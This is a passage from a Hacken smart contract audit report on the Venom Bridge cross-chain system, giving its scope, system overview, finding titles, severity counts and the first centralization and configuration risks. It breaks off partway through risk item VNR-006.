HACKEN

VENOM BRIDGE SECURITY ANALYSIS

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

Intro

This report may contain confidential information about IT systems and the intellectual property of the Customer, as well as information about potential vulnerabilities and methods of their exploitation.

The report can be disclosed publicly after prior consent by another party. Any subsequent publication of this report shall be without mandatory consent.

Name	Venom Bridge
Website	https://venombridge.com/
Repository	https://github.com/venom-bridge/audit-contracts
Commit	f739553bcc9dfc927098a34acfdb48cbccbe22d1 b5559c5e72144c148b48e21831df1e539814b6ca
Languages	TON Solidity / Solidity
Methodology	Smart Contract Code Review And Security Analysis Methodology
Lead Auditor	Marcin Ugarenko (m.ugarenko@hacken.io)
Auditor	Ivan Bondar (i.bondar@hacken.io) Kaan Caglan (k.caglan@hacken.io) Maksym Fedorenko (m.fedorenko@hacken.io) Stepan Chekhovskoi (s.chekhovskoi@hacken.io)
Approver	Luciano Ciattaglia (l.ciattaglia@hacken.io)
Timeline	16.08.2023 - 23.10.2023
Changelog	23.10.2023 - Preliminary report 21.11.2023 - Final report

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

Table of contents

- Transaction Replay Possibility in `queue()` Function
- Unrestricted Access to `deploy()` Function in `StakingRootDeployer.tsol` Contract
- Funds Lock Due To Initialization Front Run Prepaid
- Possible Incorrect Hardcoded Values in Token Address Calculation Functions
- Potential Funds Lock on Event Rejection in `EVM` to `TVM` Bridge
- Incorrect Alien Token Value Passed in the `_callbackAlienWithdrawal()` Function
- Incorrect Funds Receiver On Early Event Destruction
- Incorrect Implementation of Diamonds Storage Slots
- Inefficient Gas Management in `EthereumEverscaleEventConfiguration` Contract
- Mismanagement of `fee-on-transfer` Tokens in Liquidity Facet
- Potential `WETH` Address Manipulation
- Potential Funds Lock on Token Burn in `TVM` to `EVM` Bridge
- Potential Overpayment in Token Deposit Functionality
- Transaction Replay Possibility in `close()` Function
- User Funds Mismanagement in `propose()` Function
- Absence of Descriptive Messages in `require()` Statements
- CEI Violation With Event Emission
- Incorrect `int` Type Size Used in `EverscaleAddress` Struct
- Incorrect Gas Amount Attached to Contract Deployment
- Missing Events on Critical State Updates
- Missing Storage Gaps
- Redundant Code Patterns in `StakingRelay`, `StakingBase`, and `UserData` Contracts
- Transaction Replay Possibility in `constructor()`
- Unlimited Event Size Allows Relayer To Burn Service Contract Balance
- Missing Validation in `_getNativeWithdrawalToken()` Function
- Missing Zero Address Validation in `StakingBase.tsol`
- Missing `cashBack` Modifier in Various Functions
- Missing Revert Error Codes in `require()` Statements
- Missing Zero Address Check
- Missing Zero Address Checks in `Bridge.tsol`
- Potential Underflow in `_deposit()` Function
- Incorrect Remaining Gas Receiver Of `TokenRootAlienEVM` Deployment Funded By Contract Itself
- Documentation Mismatch Regarding Native vs. Alien Tokens in `ProxyMultiVaultNative_V5_Deposit.tsol`
- Documentation Mismatch Regarding Function Access in Multiple Functions
- Missing Validation in `DaoRoot.tsol`
- NatSpec Contradiction in `setTokenDepositFee()` Function
- Unsupported ERC20 Tokens with Zero Decimals
- Missing Zero Address Checks in `DaoRoot.tsol`
- Missing Zero Address Validation
- `TODO` Comments in Production Code
- Contract Name Reuse
- Contradictory Documentation on Event Confirmation and Rejection
- Hardcoded Values and Magic Numbers in `StakingBase.tsol` Contract Initialization of `RelayConfigDetails`
- Inaccurate Comment on Relay Membership Lock Time in `UserData.tsol`
- Missing Encoder for Everscale to Ethereum `StakingEventData`
- Missing Visibility Modifiers
- Not Explicit Interface Usage
- Possible Not Implemented `Emergency Shutdown` Functionality in `Bridge.sol`
- Presence of Unused Test Contracts in Production Codebase

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

System Overview

Venom Bridge

Introduction

The Venom Bridge is designed to facilitate seamless token transfers and cross-chain messaging between various blockchain networks, specifically targeting TVM (Venom) and EVM (Ethereum, BNB Chain, Polygon, Avax, and Fantom).

The Venom Bridge also offers comprehensive Staking and Decentralized governance systems.

It leverages a centralized bridge mechanism initially, transitioning to a more decentralized and trustless model with the introduction of Relays selected through Staking.

The DAO system enhances governance control, allowing users to propose and execute changes in a decentralized manner.

Overall, the Venom Bridge aims to provide a robust means of interoperability, asset transfer, and messaging between TVM and EVM chains.

It encompasses three primary on-chain and one off-chain functionalities: the Venom Bridge, Staking system, DAO, and Relays (off-chain part is out of audit scope).

1. **Venom Bridge:**
    - **Bridge Type:** The Venom Bridge operates in a "Lock and Mint" format. Users lock tokens in a smart contract on either the source chain (TVM or EVM), and wrapped versions of these locked tokens are then minted on the destination chain in the form of IOUs (I Owe You) tokens.
    - **Intermediary Role:** In the case of the EVM to EVM bridge, the Venom TVM bridge acts as an intermediary, facilitating token transfers between two EVM chains.
    - **Centralized Nature:** This bridge solution is centralized, relying on user trust in the bridge operators to operate as expected. Initially, the Venom Project manages the operation, and later, Relays are chosen through the Staking system.
    - **Trust and Reputation:** Users place significant reliance on the reputation of the Venom Bridge operators and must relinquish control of their crypto assets.
    - **Chain Support:** The Venom Bridge supports TVM and various EVM chains, enhancing interoperability across different blockchain ecosystems.
    - **Relay Verification:** Messages between chains are externally verified by Venom Bridge Relays, ensuring security and reliability.
    - **Cross-Chain Messaging (AMB):** The Venom Bridge integrates the Arbitrary Message Bridge (AMB) within the Bridge part. The AMB facilitates the transfer of messages, including oracle data, hashes, addresses, and other arbitrary data, between the TVM and EVM chains, enhancing the versatility of the Venom Bridge ecosystem.
    - **Relay Selection:** Initially, the Venom Project manages the first set of Relays. Later, a Staking system is introduced to select and qualify Relays, who must lock Venom Bridge tokens in escrow as a commitment/insurance against malicious actions.
    - **Impact:** The Venom Bridge plays a pivotal role in the Venom chain, serving as its primary and official bridge, expected to handle millions of dollars in assets.
2. **Staking Functionality:**
    - **Staking Rewards:** Normal users can stake their tokens within the Venom Bridge system and receive rewards on a pro-rata basis, incentivizing active participation and engagement.
    - **Voting Power:** Tokens staked within the Venom Bridge can also be utilized as voting power within the DAO system, empowering stakers to influence governance decisions.
    - **Relay Eligibility:** Users meeting specific criteria, including holding a sufficient token balance and confirming their signatures on both TVM and EVM chains, can participate in the election process to become a Relay for the Venom Bridge system.
3. **DAO Functionality:**
    - **Governance Control:** The DAO system provides governance control over administrative functionalities within the Venom Bridge and Staking systems. Users can propose and vote on changes and improvements.

- **Execution of Proposals:** DAO proposals may contain TVM and EVM transaction calls, which are executed on the respective chains upon successful approval of the proposal. This facilitates decentralized decision-making and the execution of actions within the Venom ecosystem.

4. **Relays:**
   - **Cross-chain Message Delivery:** Relays are responsible for monitoring and confirming events in EVM and TVM networks. For instance, when a user deposits DAI into a special smart contract (Vault) on the Ethereum side, each Relay sends a transaction to the Venom network, confirming the deposit event. Once a quorum is reached, DAI tokens are automatically minted on the Venom side.
   - **Signed Payload Storing:** The bridge also operates in the Venom to EVM direction, with Relays signing specific EVM-compatible payloads to avoid high network fees. Relays sign payloads and store their public keys on the TVM side. Anyone can send a payload and a list of signatures to the Vault, which will send tokens to the user's Ethereum address upon signature verification.

Execution Pipeline

The management pipeline for the Venom Bridge involves the following steps:

1. **Staking:** Users can stake their tokens in the Venom Bridge, gaining staking rewards and voting power.
2. **Relay Election:** Users meeting specific criteria can participate in relay elections and become relays.
3. **DAO Governance:** The DAO system allows stakeholders to propose and vote on changes and improvements.
4. **Cross-Chain Proposals:** Proposals created on the TVM side can indicate actions in any EVM connected network, allowing cross-chain governance.

The execution pipeline for the Venom Bridge involves the following steps:

1. **Token Locking:** Users initiate token locking on the source chain (TVM or EVM).
2. **Relay Action:** Venom Bridge Relays sign, deliver, and verify messages between chains.
3. **IOU Minting:** Wrapped tokens (IOUs) are minted on the destination chain.

Staking Bridge Tokens

The project introduces a governance token. Token holders can stake the tokens in the bridge and receive rewards. The governance tokens come from liquidity management on the EVM side.

Relay Auction

Stakeholders holding over 100,000 governance tokens can become relays. They can start a relay node and apply for relay elections, which occur every week. Malicious behavior by a relay, such as confirming incorrect events, can lead to slashing by the DAO, with the stake and reward distributed among current stakeholders.

Liquidity Management on the EVM Side

Liquidity management allows locked EVM tokens to be transferred to yield farming protocols. Gains are sent to the TVM side and distributed among stakeholders and relays.

DAO

The DAO is managed by Bridge token stakeholders. DAO decisions cover bridge configuration, relay slashing, new tokens, new networks, and managing locked liquidity.

Stakeholders with a specific amount of governance tokens can create DAO proposals, which undergo review, voting, and timelock phases. Cross-chain proposals are also possible, enabling actions in various connected networks.

Project Structure

The repository comprises two smart contract folders:

1. **ethereum:** EVM side implementation
    - **bridge:** Venom Bridge (TVM) events import and validation
        - **Bridge:** Rounds and relays management, TVM side events verification
        - **StakingRelayVerifier:** Request relay TVM address verification
    - **libraries:** Well-known multipurpose libraries
    - **multivault:** Diamond pattern-based vault for multiple tokens
        - **multivault:** Core diamond pattern contracts (facets and storage plugins)
        - **proxy:** Well-known proxy contracts
        - **Diamond:** Diamond entry point with plugins attached
        - **MultiVaultToken:** ERC20 token implementation that multivault works with
    - **DAO:** Venom Bridge DAO (TVM) proposals import and execution
2. **everscale:** TVM side implementation
    - **bridge:** Core bridge contracts
        - **alien-token:** TIP3 token implementation to represent ERC20 tokens on the TVM bridge side
        - **alien-token-merge:** Centralized pool to swap tokens across different chains with a 1:1 rate
        - **event-configuration-contracts:** Event configuration helper contracts
        - **event-contracts:** Execute events on the TVM side to be signed with relays and transmitted to another chain
        - **factory:** Makes configuration contracts deployment easier
        - **hidden-bridge:** Bridge edge cases processors
            - **EventCloser:** Part of the credit-transfer pipeline, receives event list and closes them all
            - **EventDeployer:** Part of the credit-transfer pipeline, deploys multiple event contracts at once
            - **Mediator:** Part of EVM-TVM-EVM token transfers, transmits further transfer if the mint amount equals the burn amount
        - **proxy:** Multivault implementation based on alien-token contracts
    - **dao:** DAO core contracts
        - **DaoRoot:** Proposal deployer configuration
        - **Proposal:** Proposal voting and executing logic
    - **staking:** Stake to become a relay contracts
        - **Election:** Round relays election
        - **RelayRound:** Contract manages relays in the current round
        - **Staking:** Contract manages the whole staking configuration
        - **UserData:** Relay entry point

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

Executive Summary

Documentation Quality

The total Documentation Quality score is **6** out of **10**.

- The litepaper provides general system requirements.
- The code core is covered with comprehensive NatSpec comments.
- The litepaper provides system architecture details.
- User interaction flow description and diagrams are not provided.
- Technical description is lacking.

Code Quality

The total Code Quality score is **9** out of **10**.

- Style guide violations have been found.
- Contradictory naming has been found.
- Redundant code has been found.

Security Score

The security score is **9** out of **10**.

All found issues are displayed in the Issues section of the report.

Summary

According to the assessment, the Customer's smart contract has the following score: **7.9** out of **10**

The system users should acknowledge all the risks summed up in the Risks section of the report.

Findings count and definitions

Severity	Findings
Critical	1
High	3
Medium	27
Low	41
Total	72

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

Scope of the audit

Documentation

Litepaper

Smart contracts

Bridge

- ./ethereum/contracts/bridge/Bridge.sol
- ./ethereum/contracts/interfaces/IBridge.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetDeposit.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetDepositEvents.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetFees.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetFeesEvents.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetLiquidity.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetLiquidityEvents.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetPendingWithdrawals.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetPendingWithdrawalsEvents.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetSettings.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetSettingsEvents.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetTokens.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetTokensEvents.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetWithdraw.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetWithdrawEvents.sol
- ./ethereum/contracts/multivault/interfaces/multivault/IOctusCallback.sol
- ./ethereum/contracts/multivault/interfaces/proxy/draft-IERC1822.sol
- ./ethereum/contracts/multivault/interfaces/proxy/IBeacon.sol
- ./ethereum/contracts/multivault/interfaces/IBridge.sol
- ./ethereum/contracts/multivault/interfaces/IDiamondCut.sol
- ./ethereum/contracts/multivault/interfaces/IDiamondLoupe.sol
- ./ethereum/contracts/multivault/interfaces/IERC20.sol
- ./ethereum/contracts/multivault/interfaces/IERC20Metadata.sol
- ./ethereum/contracts/multivault/interfaces/IERC165.sol
- ./ethereum/contracts/multivault/interfaces/IERC173.sol
- ./ethereum/contracts/multivault/interfaces/IEverscale.sol
- ./ethereum/contracts/multivault/interfaces/IMultiVaultToken.sol
- ./ethereum/contracts/multivault/libraries/Address.sol
- ./ethereum/contracts/multivault/libraries/AddressUpgradeable.sol
- ./ethereum/contracts/multivault/libraries/Context.sol
- ./ethereum/contracts/multivault/libraries/Meta.sol
- ./ethereum/contracts/multivault/libraries/SafeERC20.sol
- ./ethereum/contracts/multivault/libraries/StorageSlot.sol
- ./ethereum/contracts/multivault/multivault/facets/DiamondCutFacet.sol
- ./ethereum/contracts/multivault/multivault/facets/DiamondLoupeFacet.sol
- ./ethereum/contracts/multivault/multivault/facets/DiamondOwnershipFacet.sol

- ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetDeposit.sol
- ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetFees.sol
- ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetLiquidity.sol
- ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetPendingWithdrawals.sol
- ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetSettings.sol
- ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetTokens.sol
- ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetWithdraw.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperActors.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperCallback.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperEmergency.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperEverscale.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperFee.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperGas.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperInitializable.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperLiquidity.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperPendingWithdrawal.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperReentrancyGuard.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperTokenBalance.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperTokens.sol
- ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperWithdraw.sol
- ./ethereum/contracts/multivault/multivault/storage/DiamondStorage.sol
- ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorage.sol
- ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorageInitializable.sol
- ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorageReentrancyGuard.sol
- ./ethereum/contracts/multivault/proxy/ERC1967Proxy.sol
- ./ethereum/contracts/multivault/proxy/ERC1967Upgrade.sol
- ./ethereum/contracts/multivault/proxy/Proxy.sol
- ./ethereum/contracts/multivault/proxy/ProxyAdmin.sol
- ./ethereum/contracts/multivault/proxy/TransparentUpgradeableProxy.sol
- ./ethereum/contracts/multivault/utils/ChainId.sol
- ./ethereum/contracts/multivault/utils/Context.sol
- ./ethereum/contracts/multivault/utils/Initializable.sol
- ./ethereum/contracts/multivault/utils/Ownable.sol
- ./ethereum/contracts/multivault/utils/ReentrancyGuard.sol
- ./ethereum/contracts/multivault/Diamond.sol
- ./ethereum/contracts/multivault/MultiVaultToken.sol

- ./everscale/contracts/bridge/alien-token/AlienTokenWalletPlatform.tsol
- ./everscale/contracts/bridge/alien-token/AlienTokenWalletUpgradeable.tsol
- ./everscale/contracts/bridge/alien-token/TokenRootAlienEVM.tsol
- ./everscale/contracts/bridge/alien-token-merge/merge-pool/MergePool_V4.tsol
- ./everscale/contracts/bridge/alien-token-merge/MergePoolPlatform.tsol
- ./everscale/contracts/bridge/alien-token-merge/MergeRouter.tsol
- ./everscale/contracts/bridge/event-configuration-contracts/evm/EthereumEverscaleEventConfiguration.tsol
- ./everscale/contracts/bridge/event-configuration-contracts/evm/EverscaleEthereumEventConfiguration.tsol
- ./everscale/contracts/bridge/event-contracts/base/BaseEvent.tsol
- ./everscale/contracts/bridge/event-contracts/base/evm/EthereumEverscaleBaseEvent.tsol
- ./everscale/contracts/bridge/event-contracts/base/evm/EverscaleEthereumBaseEvent.tsol
- ./everscale/contracts/bridge/event-contracts/dao/DaoEthereumActionEvent.tsol
- ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEverscaleEVMEventAlien.tsol

- ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEverscaleEVMEventNative.tsol
- ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventAlien.tsol
- ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventNative.tsol
- ./everscale/contracts/bridge/event-contracts/staking/StakingEthereumEverscaleEvent.tsol
- ./everscale/contracts/bridge/event-contracts/staking/StakingEverscaleEthereumEvent.tsol
- ./everscale/contracts/bridge/factory/EthereumEverscaleEventConfigurationFactory.tsol
- ./everscale/contracts/bridge/factory/EverscaleEthereumEventConfigurationFactory.tsol
- ./everscale/contracts/bridge/hidden-bridge/EventCloser.tsol
- ./everscale/contracts/bridge/hidden-bridge/EventDeployer.tsol
- ./everscale/contracts/bridge/hidden-bridge/Mediator.tsol
- ./everscale/contracts/bridge/interfaces/alien-token/ITokenRootAlienEVM.tsol
- ./everscale/contracts/bridge/interfaces/alien-token-merge/merge-pool/IMergePool_V2.tsol
- ./everscale/contracts/bridge/interfaces/alien-token-merge/IMergeRouter.tsol
- ./everscale/contracts/bridge/interfaces/event-configuration-contracts/IBasicEventConfiguration.tsol
- ./everscale/contracts/bridge/interfaces/event-configuration-contracts/IEthereumEverscaleEventConfiguration.tsol
- ./everscale/contracts/bridge/interfaces/event-configuration-contracts/IEverscaleEthereumEventConfiguration.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/multivault/evm/IEVMCallback.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/multivault/evm/IMultiVaultEverscaleEVMEventAlien.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/multivault/evm/IMultiVaultEverscaleEVMEventNative.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/multivault/evm/IMultiVaultEVMEverscaleEventAlien.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/multivault/evm/IMultiVaultEVMEverscaleEventNative.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/IBasicEvent.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/IEthereumEverscaleEvent.tsol
- ./everscale/contracts/bridge/interfaces/event-contracts/IEverscaleEthereumEvent.tsol
- ./everscale/contracts/bridge/interfaces/proxy/INetworks.tsol
- ./everscale/contracts/bridge/interfaces/proxy/multivault/native/IProxyMultiVaultNative_V3.tsol
- ./everscale/contracts/bridge/interfaces/proxy/IEthereumEverscaleProxy.tsol
- ./everscale/contracts/bridge/interfaces/proxy/multivault/alien/IProxyMultiVaultAlien_V7.tsol
- ./everscale/contracts/bridge/interfaces/proxy/IEthereumEverscaleProxyExtended.tsol
- ./everscale/contracts/bridge/interfaces/IBridge.tsol
- ./everscale/contracts/bridge/interfaces/IConnector.tsol
- ./everscale/contracts/bridge/interfaces/IEventNotificationReceiver.tsol
- ./everscale/contracts/bridge/interfaces/IRound.tsol
- ./everscale/contracts/bridge/interfaces/IStaking.tsol
- ./everscale/contracts/bridge/libraries/BurnType.tsol
- ./everscale/contracts/bridge/libraries/EventContractNonce.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultivaultAlien_V7_Base.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_Deposit_EVM.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_Deposit_Solana.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_MergePool.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_MergeRouter.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_Token.tsol
- ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_Withdraw.tsol
- ./everscale/contracts/bridge/proxy/multivault/native/V5/ProxyMultiVaultNative_V5.tsol
- ./everscale/contracts/bridge/proxy/multivault/native/V5/ProxyMultiVaultNative_V5_Base.tsol
- ./everscale/contracts/bridge/proxy/multivault/native/V5/ProxyMultiVaultNative_V5_Deposit.tsol
- ./everscale/contracts/bridge/proxy/multivault/native/V5/ProxyMultiVaultNative_V5_Withdraw.tsol
- ./everscale/contracts/bridge/Bridge.tsol
- ./everscale/contracts/bridge/Connector.tsol

DAO

- ./ethereum/contracts/interfaces/IDAO.sol
- ./ethereum/contracts/DAO.sol

- dao/Proposal.tsol
- dao/DaoRoot.tsol
- dao/structures/ActionStructure.tsol
- dao/structures/DaoPlatformTypes.tsol
- dao/structures/ProposalConfigurationStructure.tsol
- dao/structures/ProposalStates.tsol
- dao/libraries/DaoErrors.tsol
- dao/libraries/Gas.tsol
- dao/interfaces/IDaoRoot.tsol
- dao/interfaces/IProposal.tsol
- dao/interfaces/IProposer.tsol
- dao/interfaces/IStakingAccount.tsol
- dao/interfaces/IUpgradable.tsol
- dao/interfaces/IUpgradableByRequest.tsol
- dao/interfaces/IVoter.tsol

Staking

- ./ethereum/contracts/bridge/StakingRelayVerifier.sol

- ./everscale/contracts/staking/base/StakingBase.tsol
- ./everscale/contracts/staking/base/StakingRelay.tsol
- ./everscale/contracts/staking/base/StakingUpgradable.tsol
- ./everscale/contracts/staking/interfaces/IElection.tsol
- ./everscale/contracts/staking/interfaces/IRelayRound.tsol
- ./everscale/contracts/staking/interfaces/IStakingDao.tsol
- ./everscale/contracts/staking/interfaces/IStakingPool.tsol
- ./everscale/contracts/staking/interfaces/ITokensReceivedCallback.tsol
- ./everscale/contracts/staking/interfaces/IUpgradableByRequest.tsol
- ./everscale/contracts/staking/interfaces/IUserData.tsol
- ./everscale/contracts/staking/libraries/Gas.tsol
- ./everscale/contracts/staking/libraries/PlatformTypes.tsol
- ./everscale/contracts/staking/Election.tsol
- ./everscale/contracts/staking/RelayRound.tsol
- ./everscale/contracts/staking/Staking.tsol
- ./everscale/contracts/staking/StakingRootDeployer.tsol
- ./everscale/contracts/staking/StakingV1_2.tsol
- ./everscale/contracts/staking/UserData.tsol

Utils

- ./ethereum/contracts/utils/BatchSaver.sol
- ./ethereum/contracts/utils/Cache.sol
- ./ethereum/contracts/utils/ChainId.sol
- ./ethereum/contracts/utils/Initializable.sol

- ./ethereum/contracts/utils/ReentrancyGuard.sol
- ./ethereum/contracts/utils/Token.sol
- ./ethereum/contracts/utils/UnwrapNativeToken.sol

- ./everscale/contracts/utils/cell-encoder/CellEncoderStandalone.tsol
- ./everscale/contracts/utils/cell-encoder/DaoCellEncoder.tsol
- ./everscale/contracts/utils/cell-encoder/MediatorCellEncoder.tsol
- ./everscale/contracts/utils/cell-encoder/MergePoolCellEncoder.tsol
- ./everscale/contracts/utils/cell-encoder/ProxyMultiVaultCellEncoder.tsol
- ./everscale/contracts/utils/cell-encoder/ProxyTokenTransferCellEncoder.tsol
- ./everscale/contracts/utils/cell-encoder/StakingCellEncoder.tsol
- ./everscale/contracts/utils/cell-encoder/TokenCellEncoder.tsol
- ./everscale/contracts/utils/Delegate.tsol
- ./everscale/contracts/utils/ErrorCodes.tsol
- ./everscale/contracts/utils/Platform.tsol
- ./everscale/contracts/utils/Receiver.tsol
- ./everscale/contracts/utils/TransferUtils.tsol
- ./everscale/contracts/utils/Wallet.tsol

Misc

- ./ethereum/contracts/interfaces/ICallExecutor.sol
- ./ethereum/contracts/interfaces/IERC20.sol
- ./ethereum/contracts/interfaces/IERC20Metadata.sol
- ./ethereum/contracts/interfaces/IEverscale.sol
- ./ethereum/contracts/interfaces/IRegistry.sol
- ./ethereum/contracts/interfaces/IRewards.sol
- ./ethereum/contracts/interfaces/IWETH.sol
- ./ethereum/contracts/libraries/Address.sol
- ./ethereum/contracts/libraries/Array.sol
- ./ethereum/contracts/libraries/Clones.sol
- ./ethereum/contracts/libraries/Context.sol
- ./ethereum/contracts/libraries/ECDSA.sol
- ./ethereum/contracts/libraries/Math.sol
- ./ethereum/contracts/libraries/SafeERC20.sol
- ./ethereum/contracts/libraries/SafeMath.sol
- ./ethereum/contracts/libraries/UniversalERC20.sol

Risks

Highly Permissive Role Access

ID	VNR-001
Commit	f739553

Description

The bridge system highly relies on the behavior of a few critical accounts, such as `Governance`, `Management`, and `WithdrawGuardian`.

- `Management` or `WithdrawGuardian` accounts have the ability to interrupt bridge interoperability.
- `Management` address might affect the withdrawal and deposit fees and set the values up to `50%`.
- `WithdrawGuardian` can block the process of withdrawals approves.
- Improper actions by `Governance` account may result in various risks:
  - `gasDonor` Misconfiguration: If the `gasDonor` is set incorrectly and does not accept native tokens, it could freeze the execution of transactions.
  - Incorrect `wETH` Address: An incorrect `wETH` address might result in the loss of funds.
  - Wrong native Tokens: Using the wrong native tokens could disrupt token interoperability.
  - Misconfigured `withdrawalLimit`: Incorrect withdrawalLimit settings may affect the bridge's interoperability

Inefficient Loop Iteration Over `rewardRounds`

ID	VNR-002
Commit	f739553

Description

The `processClaimReward` function currently contains a loop that iterates over the entire `rewardRounds` array. Considering the `rewardRounds` array can grow indefinitely, the loop iteration might become gas inefficient and lead to unexpected gas costs, especially when the array becomes large.

- **Arbitrary Length of Loop**: As the length of the `rewardRounds` array increases, the gas required to process this loop also increases. This can lead to cases where a transaction might fail due to gas limits or result in unexpected high gas fees.

- **Potential Improvement**: Introducing a mechanism to mark the last (or currently active round) as `startClaimFrom` and initializing the loop variable `i` from this value could reduce unnecessary iterations and enhance gas efficiency. Implementing such an improvement would also necessitate adjustments in the `finishClaimReward()` function to ensure consistency and avoid unintended side effects.

Centralization and Address Tampering Vulnerability

ID	VNR-003
Commit	f739553

Description

The `setBridge` function provides the capability to update the `bridge` address. This introduces potential security and operational concerns:

- **Centralization Concern**: Entrusting the `onlyOwner` modifier with the ability to change the `bridge` address introduces a central point of control. This centralization can be seen as antithetical to the decentralized principles of blockchain systems and could expose the system to various risks if the owner becomes a malicious actor or the owner's access is compromised.
- **Bridge Address Integrity**: The bridge mechanism is usually a crucial part of the system's functionality. Allowing changes to its address might expose users to unexpected behaviors or potential loss of funds if the new address isn't trustworthy.
- **Recommended Improvement**: To maintain the integrity of the system and adhere to decentralization principles, the bridge address should ideally be immutable once set. If an update mechanism is essential, then implementing a more secure mechanism like a multi-signature requirement or a voting process for changes could be considered. Alternatively, introducing an `onlySelf` check can ensure that only the contract itself can make updates, reducing the risk of external tampering.

Centralization and Potential Fund Loss Due to `roundSubmitter` Key Exposure

ID	VNR-004
Commit	f739553

Description

The `setRoundSubmitter` function allows for updating the `roundSubmitter` address, introducing a significant security concern:

- **Centralization Risk**: The ability to change the `roundSubmitter` address solely rests with the `onlyOwner` modifier. This centralization presents a potential vulnerability, especially if the owner's access gets compromised.
- **Potential for Massive Fund Loss**: The `roundSubmitter` likely plays a pivotal role in the bridge operation. If the keys for this address get exposed, malicious actors could potentially manipulate rounds, which could result in the loss of all bridge funds.
- **Recommended Improvement**: Implementing a more decentralized mechanism to approve changes or requiring multi-signature confirmations for such critical updates can reduce the associated risks. It's also essential to ensure that the keys for pivotal addresses, like `roundSubmitter`, are securely stored and managed, minimizing exposure risks.

Potential Misconfiguration of EVM Settings

ID	VNR-005
Commit	f739553

Description

The `setEVMConfiguration` function allows for updating the `evmConfiguration` settings, and this can introduce substantial operational risks:

- **Misconfiguration Concern**: The ability to modify EVM settings without any checks can lead to unintended consequences. Incorrectly setting these parameters might disrupt the correct functioning of the system or open up vulnerabilities.
- **Unlimited Mint Risk**: Depending on the exact nature and usage of the `evmConfiguration` settings, direct modifications can potentially pave the way for unwanted actions, including an unlimited mint of tokens, which would critically undermine the system's security and integrity.

- **Recommended Improvement**: Implementing a timelock mechanism would add an additional layer of security. This means changes to EVM configurations would be delayed by a certain period, allowing stakeholders or automated systems to review and potentially revert harmful changes before they take effect. Given the criticality of EVM settings, it might also be prudent to introduce multi-signature confirmations or a decentralized approval process for such updates.

Centralization and Potential Fund Loss Due to `roundRelaysConfiguration` Key Exposure

ID	VNR-006
Commit	f739553

Description

The `setConfiguration` function grants the capability to update the `roundRelaysConfiguration` using the provided Everscale address. This introduces a significant security concern:

